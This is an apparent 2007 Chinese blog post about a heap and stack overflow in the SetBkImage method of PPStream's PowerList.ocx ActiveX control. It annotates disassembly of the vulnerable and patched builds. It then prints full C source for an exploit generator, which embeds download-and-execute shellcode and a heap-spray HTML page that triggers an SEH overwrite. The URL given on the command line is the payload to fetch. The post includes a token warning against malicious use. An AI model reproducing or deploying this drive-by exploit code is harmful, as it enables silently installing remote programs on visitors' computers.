PPStream 2.1.16.1003 溢出问题

/*
PPStream
PowerList.ocx
2.1.6.2916

描述:
SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的

这里利用堆溢出和栈溢出,使用 CFindFile 对参数检查不严格,导致堆溢出。
在其析构时会导致异常,并且在析构之前发生了 strcat 导致栈溢出,覆盖掉
原来的 seh 处理程序

author: [email protected]

2007-11-11
*/

不要用在恶意用途,后果自负

//PowerList.ocx 2.1.6.2916
.text:1003178C
.text:1003178C SetBkImage proc near ; CODE XREF: sub_100307EB+80Bp
.text:1003178C ; sub_10031B3B+22p
.text:1003178C ; DATA XREF: .rdata:10040968o
.text:1003178C
.text:1003178C var_130 = dword ptr -130h
.text:1003178C
.text:1003178C mov eax, offset loc_1003E1DC
.text:10031791 call __EH_prolog
.text:10031791
.text:10031796 sub esp, 120h
.text:1003179C push ebx
.text:1003179D push esi
.text:1003179E push edi
.text:1003179F mov edi, [ebp+8] ; filepath
.text:100317A2 xor ebx, ebx
.text:100317A4 mov esi, ecx
.text:100317A6 cmp edi, ebx
.text:100317A8 jz loc_10031872
.text:100317A8
.text:100317AE push edi ; lpString
.text:100317AF call ds:lstrlenA
.text:100317B5 cmp eax, 1
.text:100317B8 jl loc_10031872
.text:100317B8
.text:100317BE lea ecx, [ebp-28h]
.text:100317C1 call CFileFind::CFileFind(void)
.text:100317C1
.text:100317C6 push ebx
.text:100317C7 push edi
.text:100317C8 lea ecx, [ebp-28h]
.text:100317CB mov [ebp-4], ebx
.text:100317CE call CFileFind::FindFile(char const *,ulong) ; 传递给
CFindFile 没有检查参数长度, 而 CFindFile 也没有检查
.text:100317CE ;
.text:100317CE ; // 摘自 v6 mfc 源码 filefind.cpp
.text:100317CE ; BOOL CFileFind::FindFile(LPCTSTR pstrName /* = NULL */,
.text:100317CE ; DWORD dwUnused /* = 0 */)
.text:100317CE ; {
.text:100317CE ; UNUSED_ALWAYS(dwUnused);
.text:100317CE ; Close();
.text:100317CE ; m_pNextInfo = new WIN32_FIND_DATA; // 从堆中分配内存
.text:100317CE ; m_bGotLast = FALSE;
.text:100317CE ;
.text:100317CE ; if (pstrName == NULL)
.text:100317CE ; pstrName = _T("*.*");
.text:100317CE ; lstrcpy(((WIN32_FIND_DATA*) m_pNextInfo)->cFileName,
pstrName); // 没有检查上面传过来的参数长度,之间拷贝。导致恶意输入破坏掉堆
.text:100317CE ;
.text:100317CE
.text:100317D3 test eax, eax
.text:100317D5 jz short loc_100317E7
.text:100317D5
.text:100317D7 push edi ; dwBytes
.text:100317D8 lea ecx, [esi+220h]
.text:100317DE call sub_10033C51
.text:100317DE
.text:100317E3 test eax, eax
.text:100317E5 jmp short loc_1003184B
.text:100317E5
.text:100317E7 ;
—————————————————————————
.text:100317E7
.text:100317E7 loc_100317E7: ; CODE XREF: SetBkImage+49j
.text:100317E7 lea eax, [ebp-12Ch]
.text:100317ED push eax ; char *
.text:100317EE call sub_100316F0
.text:100317EE
.text:100317F3 lea eax, [ebp-12Ch]
.text:100317F9 mov [esp+130h+var_130], offset asc_1004A194 ; "\\"
.text:10031800 push eax ; char *
.text:10031801 call strcat
.text:10031801
.text:10031806 lea eax, [ebp-12Ch]
.text:1003180C push edi ; char *
.text:1003180D push eax ; char *
.text:1003180E call strcat ; 链接字符串再次没有检查参数,恶意输入导致堆栈溢

.text:1003180E
.text:10031813 add esp, 10h
.text:10031816 lea edi, [esi+220h]
.text:1003181C lea eax, [ebp-12Ch]
.text:10031822 mov ecx, edi
.text:10031824 push eax ; dwBytes
.text:10031825 call sub_10033C51

.text:1003184D loc_1003184D: ; CODE XREF: sub_1003178C+A0j
.text:1003184D push 1 ; bErase
.text:1003184F push ebx ; lpRect
.text:10031850 push dword ptr [esi+774h] ; hWnd
.text:10031856 call ds:InvalidateRect
.text:10031856
.text:1003185C
.text:1003185C loc_1003185C: ; CODE XREF: sub_1003178C:loc_1003184Bj
.text:1003185C lea ecx, [ebp-28h]
.text:1003185F call CFileFind::Close(void)
.text:1003185F
.text:10031864 or dword ptr [ebp-4], 0FFFFFFFFh
.text:10031868 lea ecx, [ebp-28h]
.text:1003186B call CFileFind::~CFileFind(void) ;在析构时,会调用前面释放
new 的内存,如果前面发生了溢出
;会在这里发生异常,异常原因是覆盖掉了堆链中的一个函数指针
;在发生次函数调用时,访问违规。第一想是利用此来获取执行机会
;但是试了几次,成功机会很低(因为在构造 shellcode 前面一大段空
;指令时,这个空指令既当地址有当函数指针,其中先是使用 0x0a0d0a0d,
;在执行到 shellcode 之前会因为指令构造不对齐失败)。
;最后采用了堆栈溢出,覆盖 seh.在此处发生的异常,得到执行机会
.text:1003186B
.text:10031870 jmp short loc_100318A4
.text:10031870

他们与周日已经补上了,最新版本的是 2.1.6.2920

版本: PowerList.ocx 2.1.6.2920
.text:1003178C SetBkImage proc near ; CODE XREF: sub_100307EB+80Bp
.text:1003178C ; sub_10031B46+22p
.text:1003178C ; DATA XREF: .rdata:10040968o
.text:1003178C
.text:1003178C var_130 = dword ptr -130h
.text:1003178C
.text:1003178C mov eax, offset loc_1003E1EC
.text:10031791 call __EH_prolog
.text:10031791
.text:10031796 sub esp, 120h
.text:1003179C push ebx
.text:1003179D push esi
.text:1003179E push edi
.text:1003179F mov edi, [ebp+8]
.text:100317A2 mov esi, ecx
.text:100317A4 push edi ; lpString
.text:100317A5 call ds:lstrlenA
.text:100317AB xor ebx, ebx
.text:100317AD cmp edi, ebx
.text:100317AF jz loc_1003187D
.text:100317AF
.text:100317B5 cmp eax, 1
.text:100317B8 jl loc_1003187D
.text:100317B8
.text:100317BE cmp eax, 104h ;最新版本已经加了长度检查
.text:100317C3 jg loc_1003187D
.text:100317C3
.text:100317C9 lea ecx, [ebp-28h]
.text:100317CC call CFileFind::CFileFind(void)
.text:100317CC
.text:100317D1 push ebx
.text:100317D2 push edi
.text:100317D3 lea ecx, [ebp-28h]
.text:100317D6 mov [ebp-4], ebx
.text:100317D9 call CFileFind::FindFile(char const *,ulong)

/*
PPStream
PowerList.ocx
2.1.6.2916

描述:
SetBkImage 堆和栈溢出, 还是以前的老问题。以前补的是PowerPlayer.dll中的

这里利用堆溢出和栈溢出,使用 CFindFile 对参数检查不严格,导致堆溢出。
在其析构时会导致异常,并且在析构之前发生了 strcat 导致栈溢出,覆盖掉
原来的 seh 处理程序

author: [email protected]

2007-11-11
*/

#define _CRT_SECURE_NO_DEPRECATE

#include <windows.h>
#include <stdio.h>

const unsigned char shellcode[174] =
{
// 必须是偶数大小
0xE8, 0x00, 0x00, 0x00, 0x00, 0x6A, 0x03, 0xEB, 0x21, 0x7E, 0xD8, 0xE2,
0x73, 0x98, 0xFE, 0x8A,
0x0E, 0x8E, 0x4E, 0x0E, 0xEC, 0x55, 0x52, 0x4C, 0x4D, 0x4F, 0x4E, 0x00,
0x00, 0x36, 0x1A, 0x2F,
0x70, 0x63, 0x3A, 0x5C, 0x63, 0x2E, 0x65, 0x78, 0x65, 0x00, 0x59, 0x5F,
0xAF, 0x67, 0x64, 0xA1,
0x30, 0x00, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD, 0x8B, 0x68, 0x08,
0x51, 0x8B, 0x75, 0x3C,
0x8B, 0x74, 0x2E, 0x78, 0x03, 0xF5, 0x56, 0x8B, 0x76, 0x20, 0x03, 0xF5,
0x33, 0xC9, 0x49, 0x41,
0xAD, 0x03, 0xC5, 0x33, 0xDB, 0x0F, 0xBE, 0x10, 0x38, 0xF2, 0x74, 0x08,
0xC1, 0xCB, 0x0D, 0x03,
0xDA, 0x40, 0xEB, 0xF1, 0x3B, 0x1F, 0x75, 0xE7, 0x5E, 0x8B, 0x5E, 0x24,
0x03, 0xDD, 0x66, 0x8B,
0x0C, 0x4B, 0x8B, 0x5E, 0x1C, 0x03, 0xDD, 0x8B, 0x04, 0x8B, 0x03, 0xC5,
0xAB, 0x59, 0xE2, 0xBC,
0x8B, 0x0F, 0x80, 0xF9, 0x63, 0x74, 0x0A, 0x57, 0xFF, 0xD0, 0x95, 0xAF,
0xAF, 0x6A, 0x01, 0xEB,
0xAC, 0x52, 0x52, 0x57, 0x8D, 0x8F, 0xDB, 0x10, 0x40, 0x00, 0x81, 0xE9,
0x4E, 0x10, 0x40, 0x00,
0x51, 0x52, 0xFF, 0xD0, 0x6A, 0x01, 0x57, 0xFF, 0x57, 0xEC, 0xFF, 0x57,
0xE8, 0x90

};

const char* script1 = \
"<html><body><object id=\"ppc\"
classid=\"clsid:20C2C286-BDE8-441B-B73D-AFA22D914DA5\"></object><script>"
"var shellcode = unescape(\"";
const char* script2 = \
"\");"
"fillblock = unescape(\"%u9090邐\");"
"while ( fillblock.length < 0x30000 ) fillblock += fillblock;"
"memory = new Array();"
"for ( x = 0; x < 400; x++ ) memory[x] = fillblock + shellcode;"
"var buffer = '\\x0a\\x0a\\x0a\\x0a';"
"while (buffer.length < 300) buffer += '\\x0a\\x0a\\x0a\\x0a';"
"ppc.SetBkImage(buffer);"
"</script>"
"</body>"
"</html>"
"</script>"
"</body>"
"</html>";

int main(int argc, char* argv[])
{
if ( argc != 2 )
{
printf("ex:fuckpps url\nwritten by [email protected] (2007)\n");
return -1;
}

FILE *file = fopen("fuckpps.html", "w+");
if ( file == NULL )
{
printf("create 'fuckpps.html' failed!\n");
return -2;
}

fprintf(file, "%s", script1);
for ( unsigned i = 0; i < sizeof (shellcode); i += 2 )
fprintf(file, "%%u%02X%02X" , shellcode[i + 1], shellcode[i]);

const unsigned l = strlen(argv[1]);
for ( unsigned j = 0; j < l; j += 2 )
fprintf(file, "%%u%02X%02X" , argv[1][j + 1], argv[1][j]);

fprintf(file, "%s", script2);
fclose(file);

printf("make 'fuckpps.html' successed!\n");

return 0;

}

_____

╰☆往事如风

Email: <mailto:[email protected]> [email protected]

Blog: http://suddymail.org

下载 smime.p7s 4K

相关日志

发表评论